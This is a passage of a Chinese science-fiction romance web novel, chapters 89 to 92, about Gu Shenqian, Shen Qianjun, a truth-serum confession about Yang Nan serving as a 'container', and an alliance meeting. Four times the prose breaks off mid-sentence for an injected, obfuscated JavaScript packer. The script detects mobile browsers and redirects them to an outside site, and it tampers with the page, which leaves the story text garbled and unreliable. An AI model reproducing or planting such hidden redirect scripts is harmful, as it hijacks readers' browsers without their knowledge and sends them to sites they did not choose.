隋楚却又踟蹰起来,顾深浅正要劝,倏地心下“咯噔”,隐隐不安地望向门外。 空无一人。 隋楚纠结了半天,还是不肯说:“你没起过誓,我不能和你说。” 顾深浅翻了个白眼,“这有什么?我现给你起一个。怎么起?” “…………” 隋楚骂骂咧咧:“你以为这是什么啊?你想起就起?都跟你说了我们训练营出身,通过特监处初审才能在十六岁时候定下精神契约。这是个仪式好吗?仪式!谁跟你这么随随便便啊!” 一口气输出完还嫌不够,顿了顿又补充:“再说了,起誓是和沈教官缔结契约的。他人都不在,你跟哪儿起誓去!” “我不在?” 冷硬的男声从背后传来,隋楚登时印出了一背冷汗,僵在原地。 顾深浅撑着太阳穴侧过脸,没眼看。 隋楚磕巴着一个“我”字半天,失去了说话的最好时机,被沈千峻提着后领扔了出去。顾深浅感觉到沈千峻不悦的威压一步步靠近,脑子里快速形成了十来种应对方案,藏着的眼底暴露出一丝狡黠。 可惜动作跟不上脑子。 顾深浅算着他走近的声音,在他踏上台阶俯身的那刻偏过头,不等说话就被沈千峻二指掐住下巴,凶狠地封锁了她全部退路。 沈千峻总是凶巴巴的,可今天的凶狠不一样。顾深浅能清晰地感受到他每一个动作每一寸吐息间的不悦。 他又生啥气呢? 顾深浅有点苦恼,又没有别的办法。 藕臂交缠在沈千峻的后颈,顾深浅往上贴贴。 沈千峻更凶了。 他单手把人掠到自己身上,另一只手托着她。顾深浅脸上红扑扑的,一双眸里眼波流转,欲说还休。 沈千峻看得眼睛都红了,一点没控制地拍了拍她的臀:“还敢勾我?” 痛觉传来时候顾深浅错愕地瞪大眼,脸上媚态直接裂开:“你打我屁股??” 沈千峻:“打了。怎么?” “……” 他太理直气壮了,以至于顾深浅竟然一时间没找到合适的词。 她吞吞吐吐了半天,小声嘀咕:“我又怎么招你了?” “什么?” “……没什么。” 顾深浅说:“你怎么回来了?不是说有事要跟徐飞扬一起去首都?” 沈千峻冷哼一声:“我要是真走了,回来还能看见你吗?” “当然。”她说,“我不在这儿能去哪?” “是吗?”他冷淡道,“我看你的心倒是已经飞到极光区了。从隋楚嘴里套出想要的了吗?” 顾深浅没否认,叹着气遗憾地说:“哎,没啊。这小子认死理儿,听说我没有起过誓,一个字也不肯多说了。” 沈千峻冷哼一声,不知想到了什么,又气不过地咬了一口她的耳垂。 “疼!”顾深浅忍无可忍地给了他一下:“你属狗的吧?” 他置若罔闻,只盯着她耳朵一点点红透,映衬着耳廓上泛着金光的海浪印迹,自成一幅海上落日景,嗓音暗沉:“我是不是跟你说过,想知道什么就直接问我。” 啧。 顾深浅推开他一寸,认真地说:“我问了,你不愿意告诉我。” 沈千峻:“那就是答案。” 顾深浅皱起眉:“什么意思?” “我不希望你知道。” “可我想知道。” 气氛渐渐冷下来,顾深浅推开沈千峻,他蹲坐在下一阶台阶,一米九几的大汉蜷缩着大长腿,看上去有点委屈。 顾深浅有点想笑,硬生生是憋了回去,她脚尖踢踢他的:“沈千峻,能不能讲讲道理?” 沈千峻绷着脸,视线倔强地停在她的耳朵。 “你不需要操心那些。” “也不需要操心你吗?” “不需要。” 他答得没有一秒犹豫,顾深浅气得踢他,“你好好说话。” 腿上沈千峻目光终于再次落在了她的脸上,黑眸深邃:“我不会死,你知道的。” 她当然知道。 沈千禾也知道。 如果只是小事,她又怎么会不惜暴露身份也要来提醒他们? 这么显而易见的逻辑,她想得到,他就想不到吗? 他分明是不把自己的命当回事,仗着不死的躯壳为所欲为。 顾深浅脸色一点点沉下,抿唇不语,就听沈千峻说:“极光区有人在管着。里面的弯弯绕绕是联盟和联安署的事,我不希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260120|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你掺和进去。” “所以我连知情权也不能有。” 顾深浅神色很淡,她不笑的时候身上有一种拒人千里的漠然,尤其这会儿带着冷意的眼神下,更为明显。 她说:“素不相识的顾深浅可以做你的刀,而玖安只能做被你保护的巨婴,是吗?” 沈千峻狠狠皱了眉,他似乎下意识想反驳,却一时找不到说辞。 他默了半晌,鼻腔发出一声“嗯。” 顾深浅真气笑了:“你就喜欢当年那个躲在你身后唯唯诺诺的小姑娘,是不是?” 沈千峻看着她:“喜欢。” 顾深浅盯着他看了三秒,沈千峻脸上没有一点作伪或玩笑,全然发自真心。 他确实喜欢玖安。 顾深浅倏地起身,大步往外走。 胳膊再次传来熟悉的力道,也许是怕再像上次一样弄疼她,他这次没有拽手腕,改成了上臂。 顾深浅没有一秒犹豫,狠狠地甩开他,头也不回地往前走。 下一秒沈千峻便挡在她面前,微微蹙着眉:“你是故意的,还是真的在生气?” 顾深浅冷笑一声,推开他继续走。 沈千峻不给她机会,不依不饶地挡住了她的去路。 他看上去很不解:“我喜欢你,会让你生气?” 顾深浅深吸一口气:“你喜欢我什么?喜欢我躲在你身后做个手无缚鸡之力的废物,只能靠你的保护才能在那个时代生存?” 沈千峻也沉了脸:“你这么想?” “你希望我怎么想?”顾深浅冷冰冰地与他对视,“不是你说的?你就喜欢那个废物。” “我没说过。”沈千峻身上气压低得可怕,他欺身向前,眼中是晦暗不明的暗流:“你想知道我喜欢你什么?我告诉你。” “你唯唯诺诺,我喜欢,张牙舞爪我也喜欢;你灵动眨眼我喜欢,泫然欲泣我喜欢。我喜欢你在我身边做个无忧无虑的傻子,废物也好巨婴也罢,我就想要你开心。你做机甲我喜欢,专心看书我也喜欢;你是抠抠搜搜的资本家我喜欢,你是顾明朗捧在手里的千金我也喜欢。” “只要是你,我都喜欢,我都想要。” 他步步逼近,顾深浅被他围困到墙边,几乎溺毙在他的眼里。 “我不愿意让你做刀剑做棋子,我舍不得放不下,你再离开我身边就是要我的命。” “我想把你关起来,用镣铐铐着,用锁链拴住,要你牢牢在我的视线范围里哪也不许去。” “还有……其他很多不可言说的龌龊念头。” “顾深浅,你还敢听吗?” 顾深浅下意识吐出一个音节:“我……” 沈千峻抚上她耳廓的海浪,指尖传来她的滚烫,眼睁睁看着她为他变燥,变热,他空荡无底的灵魂才稍稍得以满足。 他低下头,粗鲁得没有给顾深浅一星半点的退避空间,动作霸道地在她唇舌间搅弄风云。 他抬抬手指,看不见的元素不知动了哪里,顾深浅眼角沁出泪来,像是痛,又不太像。 心神震荡间,她听到沈千峻沙哑的声音伏在耳边。 “我爱你。” 90. 容器 “无论你懦弱还是勇敢;” “无论你脆弱或是坚强;” “正义凛然或者蝇营狗苟;” “我都爱你。” “无论你是玖安还是顾深浅,你就是你,也只是你。” “我只爱你。” 男人低沉磁性的声音贴着她的耳廓,宛如深海最暗处的秘咒,刻在她耳边,潜入她梦里。 顾深浅蓦地惊醒,她愣在原地足有半分钟,长长吁口气,才意识到自己在哪儿。 房里只有她自己,她摸了摸身边的床铺,是冷的。 她拖着浑身酸痛的身子来到窗边,拉开了半透着光的纱帘,整面落地窗外是一望无垠的广阔。乌云环绕着海岸线,灰蒙蒙的天看起来摇摇欲坠,映照得海浪也沾上了一层沉重的雾霾色。 她在原地停了很久,又默默拉上了纱帘。 她梳洗完,边换衣服边打光脑,刚打开界面,光脑就弹出了提示:【无法接收天网讯号,请稍后再试。】 顾深浅换了好几个链路,依然是同样的结果。 她动作只短暂停了一秒,自若地放回原本拿的套装,重新拿了身舒适的家居服换上下楼,不怎么意外地在楼下看到了织梦。 织梦看见她的装扮脸就僵了一瞬,笑容都带着懊恼的歉意:“早啊,喝点甜粥吗?” “有三明治吗?” “有,牛肉的吃吗?” “滑蛋的就好。” 顾深浅安静地坐下,不到一分钟,一份滑蛋三明治就摆在了她面前。织梦还给她准备了牛奶和芒果味的营养液。 织梦滑蛋做得很嫩,每一步调味都恰到好处。她安静地吃完才淡淡道:“他呢?” “首都的事儿没办完,老大最快今晚才能回。”织梦欲言又止地说,“你别太生气,他只是怕你自己跑去极光区,等他回来就不会关着你了。” 顾深浅不置可否,冷静道:“把隔离结界撤了。” “我做不到的。”织梦说,“这是他的结界。” “他给你留钥匙了。”顾深浅笃定地说,“他从不做不留后手的事。如果他不在的时候基地出了事,我被隔离结界困住而无法逃脱,他承受不了这样的后果。” “是,但也留了命令,不许放你出去。”织梦无奈地说,“我无法违逆程序,抱歉。” 顾深浅点点头,端着盘子往厨房走,织梦三两步追上接过:“我来就行。” 没跟他抢,顾深浅幽幽站在门口,视线落在织梦忙活的背影,突然说:“沈千峻去首都不是为了徐飞扬吧。” 织梦没听清:“什么?” 顾深浅说:“他是去沟通全民进化细则的,是不是?” 织梦猛地转过身,匪夷所思地看着她:“你……?” “你骗不了他,也不会骗我。”顾深浅平静地说,“你说很快就会回来,回来就放我自由。” “我们都知道吧,他放我自由唯一的可能是,他已经想到办法解决极光区的问题,不再怕我掺和进去。” “海底实验室在研究精神力的贮存,一方面为云汉一号更稳定,另一方面也为普通人。” 顾深浅眼里晦暗不明:“沈千峻想从根源上解决普通人和精神人类的矛盾,最切实有效的办法就是实现全民觉醒。” 织梦说:“他把海底实验室的研究项目都告诉你了啊。” “就这两天的事。但就以我那天看到的生命体进化报告来说,海底实验室的项目还没有到进展到实现全面精神化的成熟度。”顾深浅说,“我想不通,怎么今天他就能去首都办事了?” “关于这件事,他应该没有说过不让回答吧?海底实验室那个地方,你是最熟的,应该也不会不知道吧?” 织梦一愣,笑容无奈地摇摇头:“是没说过,我也知道” 顾深浅满意地点头:“喝点什么?看来我们还有的聊。” 沈千峻一个人住在六区,说是特监处的老大,实际上这里寡得什么都没有。沈千峻这百来年的生活需求似乎真的只有睡觉,连房间都只有一张床一张桌子。直到顾深浅搬进来,这里才开始有意识地添置家居摆件,冷藏柜慢慢开始放满饮品、冰块和各种顾深浅一时兴起带回来的东西。 织梦随手拿了瓶蓝色的不明液体,给顾深浅倒时遭到婉拒,于是只给自己找了个杯子。 十分钟后,二人面对面坐在餐桌上,以织梦的挣扎打开对话。 “不用我说你也知道,他信任我的绝对服从,确信我不会乱说话,所以才只给我进出权限,让我在这儿照顾你。” “是。”顾深浅说,“我还知道你信服他,敬重他,你并不想违逆他。” “所以,最好的解决方式就是你们俩关起门来,有什么话自己聊。” 顾深浅抬起眼,不带波澜地说:“我今天的耐心不太多,织梦。” 织梦不再挣扎,微微叹息:“他把计划提前了。” “什么计划?” “建立云汉2号,归还云汉1号所盘踞的个人精神元素,实现全民觉醒。” 顾深浅翻译过来:“意思是要拆了云汉1号,以人工干预混合型精神元素搭建云汉2号,使精神元素脱离原来的捆绑,以全新的排列组合进入精神人类的循环路线?可我看过他们的报告,不认为目前的海底实验室有搭建云汉2号的能力,他们没有突破精神力贮存问题。总不能是这两天就奇迹降临了吧?” “哪来那么多奇迹。”织梦说,“按原计划,等云汉2号搭建成功后,逐步释放云汉1号的力量,回以自然流转。普通人类的数量就会大幅减少,再到下一代时,预计只会有非常零星的几个人。” “人类的矛盾是解决不完的,老大做这些,也只是在解决云汉1号的遗留问题。这个方案是在地球还是一片废土时候提出的,目的是应急地躲过豺狼虎豹的窥视,并不是永远让地球固步自封。等人类的军事力量再进化一些,也许云汉2号也用不上了。” “实现了物种同化,剩下就是联盟的工作了。但是……”他看了顾深浅一眼,到嘴边的话又咽了下去:“但老大提前了计划,他等不了云汉2号搭建成功。这次去首都,他是去沟通备用方案的。” “让云汉2号的转化和云汉1号的释放同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273807|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时进行,以此加快普通人类的觉醒进程,让自然来推进元素的二次排列组合,以构成全新的云汉2号。” 顾深浅拍案而起:“他疯了吗!联盟疯了才会答应他!” “什么自然推进?糊弄鬼呢?”顾深浅怒道,“就是先把云汉1号拆了,元素怎么走纯看命。你们能搭建云汉1号是因为全人类一致地想保护地球,倾尽力量推着这些元素组成的云汉1号,现在你要自然来推进?闹呢?” “也不是我想的啊。”织梦很无辜地说,“也不全是自然推进,里面还有容器的吸收和转化,不是全然不可能实现。你知道他的,如果没把握,他也不可能去首都了。” 顾深浅回过味来,终于知道哪里不对了:“什么‘容器的吸收和转化’?你们找了个活物做容器?” “你不知道?”织梦一愣,惊觉自己好像又说漏嘴了。 这事儿确实只有他和沈千峻,徐飞扬等非常少的人知道,但告诉顾深浅肯定没有权限问题。 问题在于,沈千峻为什么不告诉她? 顾深浅眉头狠狠拧着,脸色难看得能吃人:“云汉1号的容器是什么?” 织梦在说与不说之间摇摆,沉默着喝了一口蓝色饮料。 顾深浅上半身前倾,从眉毛到发梢,处处透着不曾展露过的压迫感:“你都说了这么多了我,隐瞒这点有什么意义?我再问你一遍,云汉1号的容器,是什么?” 织梦脑子还没动,嘴巴却脱口而出:“杨楠。” 他不可思议地瞪大眼,环顾一圈,最后落在那瓶蓝色饮料上。 这东西是吐真药剂?? 此刻,购物者顾深浅本人还没有察觉。 她被这两个字震惊得呆在原地,不知道作何反应。好半晌才慢慢说:“你是说,杨楠,是两百年前,你们建立云汉1号的容器?” “是。” “这怎么可能……”顾深浅木然地摔在座位,自言自语,“沈千峻活到现在是因为永生,你活到现在是因为人造生命……那她?她就算能保留记忆,也不可能带着容纳贮存的精神力一起消散再一起合并吧?” “可能的。”织梦无法克制地说着不为人知的辛秘,“她生命走到尽头的时候,转移死亡就可以。” 顾深浅蓦地抬起眼,听不懂他在说什么似的:“什么意思?什么叫转移死亡?” “字面意思。”织梦说,“她的精神技能是容纳和交换。是唯一一个出现的,可以控制精神力的贮存和流转的人。二百年前,云汉一号建立时,她作为中间容器,包容了所有人类的力量,建立起云汉一号。而她每一次濒临死亡时,只需要将必然的死亡进行转移,她就可以活下去,等于重获新生。” 顾深浅:“这不就是永生?” “不是。她的转移是有限制的。对方必须是精神力还远远大于她的人,更重要的人,必须双方自愿,甚至是对方有着强烈的求死意愿下,转移才能实现。” 顾深浅双眼猩红,“她这两百年的死亡,都转移给了谁?” 织梦痛苦地闭上眼,说了三个字。 “沈千峻。” 91. 会议 ——他每次死后到苏醒前,都会有一段时间的缓冲作为休眠期; ——老大平时不管事儿; ——沈教官训练之外都在睡觉; 怪不得。 他不是不关心特监处,不是厌恶人类世界,他是真管不了。 二百年前,他在联盟的折磨下死了三十三次。 二百年间,他又为了稳定云汉1号死了多少次? 杨楠说“我的力量不属于我”时的落寞犹在眼前,顾深浅如鲠在喉。 她有着独一无二的强悍力量,可为了她的种族,她甘愿做一个容器,一个转换的跳板。 她那么想和她爱的人缔结永生永世的绑定,他们相爱,他们属于彼此。 可“她的力量不属于她”。 她说不出话,只死死盯着桌子,仿佛上面有什么了不得的。 织梦能感受到她情绪的崩塌,可这会儿也一句不敢多说。 他首先必须这该死的吐真药剂远一点。 他沉默着大步往外,顾深浅却倏地叫住他。 织梦背脊僵直,脉络紧绷:“怎么?” 顾深浅却又哑巴了,她沉默了许久,才低声说了句:“没事。” 织梦犹豫了一秒,还是先出去了。 一路走出六区老远,织梦才火速呼出了一个加密的紧急通讯,不到一分钟就被接起,男人沉稳的声音传到他耳中,他第一次发自内心地感到沈千峻声音那么好听。 【怎么了?】 织梦说:“我误食了吐真药剂。” 【……】 通讯对面传来衣料摩挲的声音,他听见沈千峻说“你们继续”,之后是他的脚步声,再开口时背景听上去有些空旷:【你说了什么?】 “容器的事儿,都说了。她猜到了你去首都的目的,聊到容器时候我没多想,才发现喝的那玩意儿是吐真药剂。” 沈千峻沉默着,似乎叹了口气:【她现在怎么样?】 “一直不吭声。我怕再说漏什么就先出来了。” 【好,我知道了。我让杨楠先回去,小厨房做了她爱吃的,一会儿你一起带回六区。】沈千峻说,【她心思重,别让她自己待着,我今晚回去。】 “杨楠先回来?你那边结束了?” 【她露一手足够了。】 织梦唔了一声,不确定地问:“老大,你的方案真靠谱吗?要是杨楠没推动,云汉2号建不起来,云汉1号还崩了,那咱们二百年……” 沈千峻忽然打断:【现在我信了。】 “?” 【你确实喝了吐真药剂。】 “……” 沈千峻说:【放心,我有把握。】 织梦一直很信服他,他说放心就足以能让人真的放下。于是他“嗯”了声。 沈千峻往回走,通讯挂断前忽然想到了什么,又补充道:“确保药效过了再回去。” 织梦:【……】 沈千峻顺来路往回走,再次回到看似寻常的小房间。杨楠、罗亚、徐飞扬和乔森几人坐成一排,正听着对面的白大褂模样的人说话。 “……方案我没有意见。但是杨小姐,我还是要提醒你,如果真按这执行,你要承担的可就太多了。” 杨楠一头张扬的橙红今天换成了更显乖巧的栗色,闻言笑容温婉:“谢谢季博士的关心。只不过作为特监处的一员,这些事,从来不是我独自在承担着。” “……”季博士维持着得体的笑脸,“特监处这么团结,再好不过了。” 沈千峻回到主位,与他一排的另一侧坐着另一个西装革履的男人,额角鬓发一丝不苟地贴在该待的地方,狭长双眼低垂,带着不苟言笑的严肃。 见沈千峻进门,他迫不及待地开口:“沈先生,你提出的备用方案、研究进度和执行计划,包括杨小姐的能力,这些我们都可以达成一致。但恕我直言,站在我的立场,我不认为现在已经到了实行备用方案的时候。” 沈千峻缓步走近,他一路紧盯着沈千峻,眼睁睁地看着沈千峻走近,然后…… 路过他的位置。 “……” 沈千峻走到杨楠和罗亚旁边,拍了拍他俩的肩:“家里有事,你们先走。” 二人没有多话,打过招呼便走了。 沈千峻这才回到座位,他没有第一时间坐下,而是居高临下地看着刚才的男人:“你的立场,可以代表联盟吗?” “联盟代表的是整个地球的人类,沈先生。”他平复完刚才慌乱的心神,不卑不亢地和沈千峻对视,“在这张桌子前,我就代表联盟。” 沈千峻意味不明地勾唇,施施然坐下。 徐飞扬嗤笑道:“说话就说话,可不兴吹牛啊老曹。联盟六个谈判代表,怎么你的立场就代表联盟了?联安署就觉得这方案很可行。” 男人冰冷的目光转向徐飞扬,“联安署的立场恐怕不怎么客观,徐署长。” “政要处的认知恐怕也不怎么全面。” “徐署长,注意你的措辞。” 徐飞扬手肘撑上桌子,前倾身子正要说话,沈千峻放下水杯,声响不轻不重,却恰到好处地堵住了双方的争论。 “既然以上内容各位都已经看过了,在各位做出决策之前,还有一些附赠的信息。” 沈千峻环顾一圈,严密的结界瞬间封锁了整个空间,疑似声音都透不出去。 “去年的海朝区事件至今,特监处可以确认,π星生物已经找到了变换形态的方法。”沈千峻轻描淡写地扔出第一道惊雷,紧接着抛出第二道,“当他们伪装成人类时,我们暂时无法区分π星生物和普通人。” 在场众人表情各异,不只联盟代表,连乔森都是刚知道这个消息。 他今天跟着徐飞扬过来,一是混个脸熟,二是学习。虽然坐在徐飞扬边上,但也一直没明白,好好的为什么要在这个时间替换云汉1号。 但如果是这样,一切就都解释得通了。 人类对π星生物的追捕从未停过,可π星生物越藏越深。体积硕大的庞然大物,却仿佛在地球上原地消失了。 在大家以为地球上的π星生物已经被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283388|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铲除干净的时候,偏偏又发生了海朝区的事,将π星生物的存在赤裸裸展示在人类面前。 他们不仅在地球上,还能轻而易举地毁掉人类引以为傲地繁华商业中心,在意想不到地方搭建实验基地,用人类的科研资源,发展活体实验的产业链,站在幕后进行他们自己的研究。 乔森一直不明白他们是怎么做到的,可如果他们混迹在人类里面,把自己伪装成普通人类,要做什么就太简单了。 “二十年前,特监处在极光区处理过一批背叛者。” 沈千峻:“给诸位科普一下,特监处的每个人都缔结过誓言,哪怕没能正式加入的都有着精神契约的束缚。但凡有一点违背契约的心思,关于特监处的全部记忆都会瞬间消失。如果是没能加入的那些人,他们在离开特监处的时候,就会忘记一切。” “是的,这样的约束下,特监处本不应该出现任何信息泄露。”其中一位较为年长的代表说:“这件事我有印象,您说的是‘六七事变’的时候?” “是。”沈千峻说,“我们在极光区设置办事处,由专人去处理这批背叛者和特监处泄露的信息。过程中发现,这些所谓的背叛者,他们看似生命体征正常,可以使用精神力,可他们的精神领域已经消失了。” “想必各位都知道,只有过世了有段时间的人,才会连精神领域存在的痕迹都找不到。” 对面的联盟代表神色紧绷,其中一位脸上有显而易见的恐惧,他直接说:“沈先生,你这是什么意思?” “这还听不懂?”徐飞扬挑眉,“意思是π星生物不仅能伪装成普通人,还能装作精神人类。但如果是精神人类,我们是能分辨的。所以必须尽快实现全民觉醒。这样能听懂吗?” 徐飞扬还要说话,沈千峻的视线扫了过来。 乔森望向徐飞扬,眼里带着隐忧。 沈千峻很快挪开了视线:“综上,希望各位认真考虑,慎重决策。” 杨楠一回来就直奔六区,从织梦手里接过餐食。织梦到现在都是管不住嘴的状态,一句话不敢多说,扭头就走。 好在杨楠和罗亚身上有沈千峻刚拍上的通行证,可以暂时自由进出六区。 罗亚在门口守着,杨楠拎着餐盒进去,没两步就在客厅沙发上看到了女孩四散的长发,奶白的居家服看上去温暖又亲和,脸上盖着一本叫作《恒星》的实体书。 她试探地喊了句:“浅浅?” 顾深浅身子一僵,蓦地坐起:“你回来了?沈千峻呢?” “老大让我先回来的。”她举了举餐盒,脸上笑容明媚,“都是你爱吃的,起来尝尝?” 顾深浅鼻子一酸,眼眶顿时湿润,她陡然站起,实体书落在地上也无暇过问,直直上前抱紧了杨楠。 “楠姐。” 她的哽咽呼之欲出,听得她也快碎了。 杨楠一只手里还有饭盒,怕磕着她努力又往外伸了伸,另一只手回抱住她,轻拍着她的背脊,显得有些笨拙。 “在呢。” 她温柔地说:“不哭,我们都在呢。” 92. 金色 首都是联盟声誉最高的地方,几位决议人深受民众爱戴,社会治安和社会风气也比其他地区好上不少,深入贯彻“日出而作,日落而息”的宗旨,下午六点后,一栋栋高楼都将陆续熄灯。 晚上九点半,除了特定的夜场和24小时营业的餐饮,首都大部分建筑都已陷入沉睡,包括联盟行政大楼。 而看似一片漆黑的大楼里,藏着一个不为人知的小隔间,还亮着最后一盏灯。 沈千峻签署完最后一份责任文件递给乔森,交给了他今天第一个也是最后一个任务:“东西给他们,挨个送他们回去,确保全部安全到家。” “好。”乔森接过这份纸质文件,“办事处的车在P3,定位发在通讯留言了。你们可以自便,有需要随时找我。” “好。” 乔森出去后,会议室只剩下徐飞扬和沈千峻两个人。 徐飞扬大大咧咧坐到沈千峻旁边:“怎么样,调教得不错吧?他可不是刚毕业的傻小子了。” “是不错。”沈千峻看着光脑没抬头,“你又是发的什么疯?” 徐飞扬神色不改:“我怎么了?” 不肯好好说话对他们来说不算什么大事,只是徐飞扬平时嚣张归嚣张,什么场合怎么说话他比谁都有数。 今天大概是有气。 沈千峻把计划提前,他并不担心无法实现,有绝对的把握。这对于地球,对于人类,对于其他任何人甚至都算不上有多大影响,唯独除了作为容器的“杨楠”。 而她是徐飞扬最亲的人。 沈千峻没吭声,他看完光脑的消息便起身披上大衣,对着徐飞扬湛蓝的眼说:“我很抱歉。” 徐飞扬的笑容淡下来:“没什么好道歉的。就算有,对象也不该是我。” “很快就能结束了。”沈千峻垂下眼,低声说,“我保证。” 徐飞扬忽地又笑起来,似是无奈又带着一丝张狂。他起身过去,一拳打在沈千峻胸口:“没不信过。” 这个挨顾深浅一下就说疼的男人这会儿眉头都没皱一下,笑了笑潇洒地背过身挥手:“走了。” 曼城和首都之前并不算远,但沈千峻为了早去早回,是驾驶着飞行战甲来的。 因为着急让杨楠回去,战甲已经开走了。沈千峻过了午夜才回到基地。 夜色下的基地格外静谧,只有一两盏熬夜人的灯还亮着,唯独六区灯火通明。 沈千峻回来时,发现罗亚依然守在门口,而杨楠坐在沙发侧首,中间投射的光屏画面播放着恒星宇宙的科普,念白声音低沉平稳,十分助眠。 贵妃榻上,躺着蜷成一团的顾深浅。 杨楠听见他的脚步声,先比了个噤声的手势。 沈千峻隔绝结界将顾深浅包住,“怎么样?” 杨楠:“挺好的。下午我们一起做了蛋糕,她特地给你留了个完整的,都不让我碰呢。她不肯回房间,大概想等你,这会儿刚睡着。” “辛苦了。”沈千峻顿了顿,“她说什么了吗” “不怎么肯说话,心事很重,中间问了好几次时间。”杨楠说,“倒是很喜欢听这个宇宙系列解说。” ——宇宙浩瀚无垠,绚烂壮丽的背后往往藏着猝不及防的险象,暗含着无数神秘与未知。是不是听上去就是你喜欢的类型? 顾深浅眨着眼哄他的样子尚在眼前,沈千峻微微勾唇,眼底闪着晦暗不明的光,他缓缓步入结界,消失在杨楠的视线。 杨楠很有眼色地示意罗亚走了。 向来保持不远不近距离的罗亚却一反常态地牵起她,杨楠惊讶地看了他一眼,笑着回握住他,一起走出了六区。 顾深浅二次觉醒后就没再做过梦了。 她在杨楠的陪伴下等沈千峻回来,沈千峻的沙发仿佛自带催眠效果,她耳边还环绕着宇宙科普不带感情的声音:“……是最美的死亡,是万物的诞生……” 她陷入沉睡,慢慢感觉自己困囿在不见天日的囚牢里,耳边是虫类持续发出的蜂鸣,听得人焦躁不安。 蜂鸣声不知什么时候在她脑海中转换成了能理解的语言,她听到了一段对话。 “凭什么!你们凭什么这么对她!” “这不是你该管的事。” “秦博士留下帮我们,教我们认识生物,认识生命,她一直在帮我们啊!!” “种族差异是天堑,我们生来不同,她也不可能为缇雅一族带来真正的平等。孩子,我们要的东西,只能靠自己争取。” “可这个孩子是无辜的啊!她才这么小,这种执行程序我们都才刚刚接触,我自己都无法确定有什么副作用,您就用在她身上。万一出点什么事,我们怎么跟秦博士交代?!这可都是,都是她教给我们的啊!” “够了。” 沉重苍老的声音打断了这段对话,“缇雅一族走到今天,都是刀尖舔血的日子,不是靠着善良和同理心这种无用的东西。你们学院的孩子待久了,种族的延续,生存的困难,开疆拓土的艰辛就都抛诸脑后吗?” “阿祖,我不是这个意思。” “执行程序是你写的,只会听从你的命令。总有一天,你会为了保卫自己的族人而启用。但在这之前,没人会逼你做什么。” “阿祖,言而有信。” 顾深浅恍惚到了湖底,眼前的黑印上起伏的水波,在微弱的光线下折射出黑白分明的神圣。 她又听到了那个声音,和刚才对话里的男人一样的声音。 “小不点,我今天看到星空了。你知道吗?原来蝴蝶星云的中间会孕育生命,n2-18的那颗星云中间,就有一颗十二万岁的恒星。老师说,等恒星绽放出比星云更盛大的光时,他将真正诞生。真希望那是适合缇雅一族生活的地方,我一点都不想去你来的那颗星。我不喜欢蓝色。” “秦博士今天醒过来了。她很想见你,他们大概明天就会把你送回你妈妈身边了。你以后会记得我吗?” “你虽然被关在培养皿里,但也能听见我说话吧?秦博士那么聪明,你既然是她的女儿,也一定能听懂的吧?” 顾深浅听着拿到声音由远及近,仿佛贴着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299707|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所在的器具,压着嗓子悄悄地说:“小不点,只要你乖乖的,我不会启动执行程序的。你这么可爱的小生命,不应该牵扯到这里面来。” “再见了,小不点。” 顾深浅心底油然而生一股恐惧,在他的话里无限放大。 她感到自己在惶恐地四散奔逃,却怎么都逃不出这一片水波,恶魔般的“小不点”在她耳边不断回响,仿佛要把她拖入永不见光的黑暗。 她不知道自己跑了多久,不知道自己跑了多远,广袤看不见尽头的黑几乎把她吞没,她累得耷拉着无力的腿,蹲在原地不肯走了。 难以言喻的绝望蔓延开来,她蹲坐着,陷入沉寂。 黑暗却在这时一点点退散,头顶的黑色变成了雾霾霾的灰,顾深浅的周边满目疮痍,砸成半截的建筑废料随处可见。她独自坐在一个犄角旮旯,头上横着半段锋利的钢筋,摇摇欲坠着仿佛随时都会掉下来。 她很害怕,怕得僵在原地不敢动。 怕什么来什么。 一阵大风席卷,钢筋没重量似的随风倒,锋利的尖端朝着顾深浅直直坠下。 ——跑! ——挡住他! ——快! 男人的声音来自她的脑海深处,突如其来的紫色元素一点点包围着钢筋,拖慢了要砸在顾深浅头上的尖端,为顾深浅的逃跑争取了最大的时间。 ——既然不想跑,就摧毁它。 尖锐的铁皮缓缓落下,和顾深浅的褐色瞳孔仅一步之遥! 